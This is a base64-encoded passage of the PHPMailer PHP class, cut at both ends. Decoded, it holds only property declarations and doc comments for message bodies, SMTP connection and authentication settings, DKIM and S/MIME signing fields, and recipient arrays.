nOwoKICAgIC8qKgogICAgICogQW4gaUNhbCBtZXNzYWdlIHBhcnQgYm9keS4KICAgICAqIE9ubHkgc3VwcG9ydGVkIGluIHNpbXBsZSBhbHQgb3IgYWx0X2lubGluZSBtZXNzYWdlIHR5cGVzCiAgICAgKiBUbyBnZW5lcmF0ZSBpQ2FsIGV2ZW50cywgdXNlIHRoZSBidW5kbGVkIGV4dHJhcy9FYXN5UGVhc3lJQ1MucGhwIGNsYXNzIG9yIGlDYWxjcmVhdG9yCiAgICAgKiBAbGluayBodHRwOi8vc3ByYWluLmNoL2Jsb2cvZG93bmxvYWRzL3BocC1jbGFzcy1lYXN5cGVhc3lpY3MtY3JlYXRlLWljYWwtZmlsZXMtd2l0aC1waHAvCiAgICAgKiBAbGluayBodHRwOi8va2lna29uc3VsdC5zZS9pQ2FsY3JlYXRvci8KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSWNhbCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGNvbXBsZXRlIGNvbXBpbGVkIE1JTUUgbWVzc2FnZSBib2R5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCAkTUlNRUJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgaGVhZGVycy4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVIZWFkZXIgPSAnJzsKCiAgICAvKioKICAgICAqIEV4dHJhIGhlYWRlcnMgdGhhdCBjcmVhdGVIZWFkZXIoKSBkb2Vzbid0IGZvbGQgaW4uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRtYWlsSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBXb3JkLXdyYXAgdGhlIG1lc3NhZ2UgYm9keSB0byB0aGlzIG51bWJlciBvZiBjaGFycy4KICAgICAqIFNldCB0byAwIHRvIG5vdCB3cmFwLiBBIHVzZWZ1bCB2YWx1ZSBoZXJlIGlzIDc4LCBmb3IgUkZDMjgyMiBzZWN0aW9uIDIuMS4xIGNvbXBsaWFuY2UuCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRXb3JkV3JhcCA9IDA7CgogICAgLyoqCiAgICAgKiBXaGljaCBtZXRob2QgdG8gdXNlIHRvIHNlbmQgbWFpbC4KICAgICAqIE9wdGlvbnM6ICJtYWlsIiwgInNlbmRtYWlsIiwgb3IgInNtdHAiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRNYWlsZXIgPSAnbWFpbCc7CgogICAgLyoqCiAgICAgKiBUaGUgcGF0aCB0byB0aGUgc2VuZG1haWwgcHJvZ3JhbS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgbWFpbCgpIHVzZXMgYSBmdWxseSBzZW5kbWFpbC1jb21wYXRpYmxlIE1UQS4KICAgICAqIE9uZSB3aGljaCBzdXBwb3J0cyBzZW5kbWFpbCdzICItb2kgLWYiIG9wdGlvbnMuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRVc2VTZW5kbWFpbE9wdGlvbnMgPSB0cnVlOwoKICAgIC8qKgogICAgICogUGF0aCB0byBQSFBNYWlsZXIgcGx1Z2lucy4KICAgICAqIFVzZWZ1bCBpZiB0aGUgU01UUCBjbGFzcyBpcyBub3QgaW4gdGhlIFBIUCBpbmNsdWRlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGRlcHJlY2F0ZWQgU2hvdWxkIG5vdCBiZSBuZWVkZWQgbm93IHRoZXJlIGlzIGFuIGF1dG9sb2FkZXIuCiAgICAgKi8KICAgIHB1YmxpYyAkUGx1Z2luRGlyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgZW1haWwgYWRkcmVzcyB0aGF0IGEgcmVhZGluZyBjb25maXJtYXRpb24gc2hvdWxkIGJlIHNlbnQgdG8sIGFsc28ga25vd24gYXMgcmVhZCByZWNlaXB0LgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRDb25maXJtUmVhZGluZ1RvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgaG9zdG5hbWUgdG8gdXNlIGluIHRoZSBNZXNzYWdlLUlEIGhlYWRlciBhbmQgYXMgZGVmYXVsdCBIRUxPIHN0cmluZy4KICAgICAqIElmIGVtcHR5LCBQSFBNYWlsZXIgYXR0ZW1wdHMgdG8gZmluZCBvbmUgd2l0aCwgaW4gb3JkZXIsCiAgICAgKiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSwgZ2V0aG9zdG5hbWUoKSwgcGhwX3VuYW1lKCduJyksIG9yIHRoZSB2YWx1ZQogICAgICogJ2xvY2FsaG9zdC5sb2NhbGRvbWFpbicuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEhvc3RuYW1lID0gJyc7CgogICAgLyoqCiAgICAgKiBBbiBJRCB0byBiZSB1c2VkIGluIHRoZSBNZXNzYWdlLUlEIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCBhIHVuaXF1ZSBpZCB3aWxsIGJlIGdlbmVyYXRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSBEYXRlIHRvIGJlIHVzZWQgaW4gdGhlIERhdGUgaGVhZGVyLgogICAgICogSWYgZW1wdHksIHRoZSBjdXJyZW50IGRhdGUgd2lsbCBiZSBhZGRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWVzc2FnZURhdGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgaG9zdHMuCiAgICAgKiBFaXRoZXIgYSBzaW5nbGUgaG9zdG5hbWUgb3IgbXVsdGlwbGUgc2VtaWNvbG9uLWRlbGltaXRlZCBob3N0bmFtZXMuCiAgICAgKiBZb3UgY2FuIGFsc28gc3BlY2lmeSBhIGRpZmZlcmVudCBwb3J0CiAgICAgKiBmb3IgZWFjaCBob3N0IGJ5IHVzaW5nIHRoaXMgZm9ybWF0OiBbaG9zdG5hbWU6cG9ydF0KICAgICAqIChlLmcuICJzbXRwMS5leGFtcGxlLmNvbToyNTtzbXRwMi5leGFtcGxlLmNvbSIpLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgZW5jcnlwdGlvbiB0eXBlLCBmb3IgZXhhbXBsZToKICAgICAqIChlLmcuICJ0bHM6Ly9zbXRwMS5leGFtcGxlLmNvbTo1ODc7c3NsOi8vc210cDIuZXhhbXBsZS5jb206NDY1IikuCiAgICAgKiBIb3N0cyB3aWxsIGJlIHRyaWVkIGluIG9yZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0ID0gJ2xvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBTTVRQIHNlcnZlciBwb3J0LgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAVE9ETyBXaHkgaXMgdGhpcyBuZWVkZWQgd2hlbiB0aGUgU01UUCBjbGFzcyB0YWtlcyBjYXJlIG9mIGl0PwogICAgICovCiAgICBwdWJsaWMgJFBvcnQgPSAyNTsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIEhFTE8gb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBEZWZhdWx0IGlzICRIb3N0bmFtZS4gSWYgJEhvc3RuYW1lIGlzIGVtcHR5LCBQSFBNYWlsZXIgYXR0ZW1wdHMgdG8gZmluZAogICAgICogb25lIHdpdGggdGhlIHNhbWUgbWV0aG9kIGRlc2NyaWJlZCBhYm92ZSBmb3IgJEhvc3RuYW1lLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokSG9zdG5hbWUKICAgICAqLwogICAgcHVibGljICRIZWxvID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IGtpbmQgb2YgZW5jcnlwdGlvbiB0byB1c2Ugb24gdGhlIFNNVFAgY29ubmVjdGlvbi4KICAgICAqIE9wdGlvbnM6ICcnLCAnc3NsJyBvciAndGxzJwogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRTTVRQU2VjdXJlID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIGVuYWJsZSBUTFMgZW5jcnlwdGlvbiBhdXRvbWF0aWNhbGx5IGlmIGEgc2VydmVyIHN1cHBvcnRzIGl0LAogICAgICogZXZlbiBpZiBgU01UUFNlY3VyZWAgaXMgbm90IHNldCB0byAndGxzJy4KICAgICAqIEJlIGF3YXJlIHRoYXQgaW4gUEhQID49IDUuNiB0aGlzIHJlcXVpcmVzIHRoYXQgdGhlIHNlcnZlcidzIGNlcnRpZmljYXRlcyBhcmUgdmFsaWQuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQQXV0b1RMUyA9IHRydWU7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHVzZSBTTVRQIGF1dGhlbnRpY2F0aW9uLgogICAgICogVXNlcyB0aGUgVXNlcm5hbWUgYW5kIFBhc3N3b3JkIHByb3BlcnRpZXMuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokVXNlcm5hbWUKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokUGFzc3dvcmQKICAgICAqLwogICAgcHVibGljICRTTVRQQXV0aCA9IGZhbHNlOwoKICAgIC8qKgogICAgICogT3B0aW9ucyBhcnJheSBwYXNzZWQgdG8gc3RyZWFtX2NvbnRleHRfY3JlYXRlIHdoZW4gY29ubmVjdGluZyB2aWEgU01UUC4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqLwogICAgcHVibGljICRTTVRQT3B0aW9ucyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBTTVRQIHVzZXJuYW1lLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRVc2VybmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogU01UUCBwYXNzd29yZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUGFzc3dvcmQgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgYXV0aCB0eXBlLgogICAgICogT3B0aW9ucyBhcmUgTE9HSU4gKGRlZmF1bHQpLCBQTEFJTiwgTlRMTSwgQ1JBTS1NRDUKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1faWRlbnRpdHkgPSAnJzsKCiAgICAvKioKICAgICAqIERLSU0gcGFzc3BocmFzZS4KICAgICAqIFVzZWQgaWYgeW91ciBrZXkgaXMgZW5jcnlwdGVkLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3Bhc3NwaHJhc2UgPSAnJzsKCiAgICAvKioKICAgICAqIERLSU0gc2lnbmluZyBkb21haW4gbmFtZS4KICAgICAqIEBleGFtcGxlICdleGFtcGxlLmNvbScKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9kb21haW4gPSAnJzsKCiAgICAvKioKICAgICAqIERLSU0gcHJpdmF0ZSBrZXkgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3ByaXZhdGUgPSAnJzsKCiAgICAvKioKICAgICAqIENhbGxiYWNrIEFjdGlvbiBmdW5jdGlvbiBuYW1lLgogICAgICoKICAgICAqIFRoZSBmdW5jdGlvbiB0aGF0IGhhbmRsZXMgdGhlIHJlc3VsdCBvZiB0aGUgc2VuZCBlbWFpbCBhY3Rpb24uCiAgICAgKiBJdCBpcyBjYWxsZWQgb3V0IGJ5IHNlbmQoKSBmb3IgZWFjaCBlbWFpbCBzZW50LgogICAgICoKICAgICAqIFZhbHVlIGNhbiBiZSBhbnkgcGhwIGNhbGxhYmxlOiBodHRwOi8vd3d3LnBocC5uZXQvaXNfY2FsbGFibGUKICAgICAqCiAgICAgKiBQYXJhbWV0ZXJzOgogICAgICogICBib29sZWFuICRyZXN1bHQgICAgICAgIHJlc3VsdCBvZiB0aGUgc2VuZCBhY3Rpb24KICAgICAqICAgc3RyaW5nICAkdG8gICAgICAgICAgICBlbWFpbCBhZGRyZXNzIG9mIHRoZSByZWNpcGllbnQKICAgICAqICAgc3RyaW5nICAkY2MgICAgICAgICAgICBjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkYmNjICAgICAgICAgICBiY2MgZW1haWwgYWRkcmVzc2VzCiAgICAgKiAgIHN0cmluZyAgJHN1YmplY3QgICAgICAgdGhlIHN1YmplY3QKICAgICAqICAgc3RyaW5nICAkYm9keSAgICAgICAgICB0aGUgZW1haWwgYm9keQogICAgICogICBzdHJpbmcgICRmcm9tICAgICAgICAgIGVtYWlsIGFkZHJlc3Mgb2Ygc2VuZGVyCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJGFjdGlvbl9mdW5jdGlvbiA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCB0byBwdXQgaW4gdGhlIFgtTWFpbGVyIGhlYWRlci4KICAgICAqIE9wdGlvbnM6IEFuIGVtcHR5IHN0cmluZyBmb3IgUEhQTWFpbGVyIGRlZmF1bHQsIHdoaXRlc3BhY2UgZm9yIG5vbmUsIG9yIGEgc3RyaW5nIHRvIHVzZQogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRYTWFpbGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZh